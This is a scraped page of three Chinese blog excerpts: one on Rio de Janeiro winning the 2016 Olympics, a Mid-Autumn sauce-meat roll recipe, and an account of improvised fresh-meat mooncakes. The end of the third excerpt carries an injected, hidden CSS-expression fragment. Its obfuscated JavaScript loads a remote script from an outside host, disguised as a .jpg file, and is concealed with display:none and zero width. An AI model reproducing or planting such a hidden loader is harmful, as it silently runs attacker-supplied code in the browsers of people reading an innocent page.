David135
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你说怪不？咱中国已举办了奥运会，为啥还要关注2016年奥运会竞选？那感觉又好像回到了2001年7月13日北京当选2008年奥运会主办城市的神州不眠之夜。看央视直播，一直熬到今日凌晨2016年奥运会主办城市揭晓。当巴西里约热内卢击败最后一个竞争对手马德里，以绝对优势的票数胜出时，科帕卡巴纳海滩沸腾了，10万多看电视直播的市民完全沉浸在了桑巴舞的欢乐之中。奥运会将第一次走进南美大陆，巴西举国上下一片欢腾。亲率团竞选的巴西总统卢拉和球王贝利激动得热泪纵横，相互拥抱。 我也情不自禁地为巴西祝贺，不光是为了贝利、为了肥罗、为了小罗、为了卡卡等我的球星偶像，更为了南美大陆的至尊荣誉。此时此刻，发现新大陆的哥伦布也一定会笑慰九泉的。草根大都市里约热内卢能够击败芝加哥、 阅读全文>> |
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中秋节到了，民俗就是吃月饼。大多数月饼是甜口的，吃多了容易犯腻。所以，中秋节咱给大家上一咸口的“酱肉卷”，中和中和甜腻的口味。 1：9肥瘦的猪肉加香葱剁成馅。 加上盐、老抽、五香粉、香油调味。 将发面团擀成圆饼状，将肉馅均匀地抹在上面，卷成筒状。 用刀切开，做成酱肉卷的生坯。 放入蒸笼，盖上盖饧发20分钟左右。 锅中加凉水，开火蒸制，开锅25分钟关火。焖5分钟，再打开盖子盛出。 这个和甜月饼配搭着吃，别有一番风味。 |
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做法就不写了，因为这个鲜肉月饼忒山寨了一点。用的都是家里多余的材料，烤出来到时和自己的想象一样，不过样子像是一回事情，味道就是另外一回事情了。 在开心上看到一个帖子说让海外学子感受下中秋的月饼气氛，还贴了长串的鲜肉月饼制作步骤。想想虽然在国外，虽然中国超市有卖很正宗的香港广式月饼，不过气氛这回事情，还是要自己营造的好。 想起了大学早期常常吃的新路达月饼。如今，公公天天上班的新路达变白了，吉买盛变成了食品二店。记得在港汇腾讯做工的时候还去那里看过，貌似还是有个月饼摊的，不过味道已经完全没有原来的鲜，也没有原来那么烫了。 话说回来，看到菜谱上写着的油酥加面粉的制作方法就觉得晕了，又不想惹得一手油腻和一身的面。家里狮子头的馅料还多出来好多，又正好多余两张早餐用印度飞饼，想来既然也是千层酥的样子，不如一试。所以就山寨地把肉包在了皮子里，涂上了油和蛋黄就上烤箱了。样子还不错，味道自然不是通常鲜肉月饼的味道，要更加湿软一点。不过肉馅的味道还是相当好的，所以结果大部分还是被剥了皮吃了肉丸。 好吧。不管好吃不好吃。明天中秋快乐啦。 ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" |
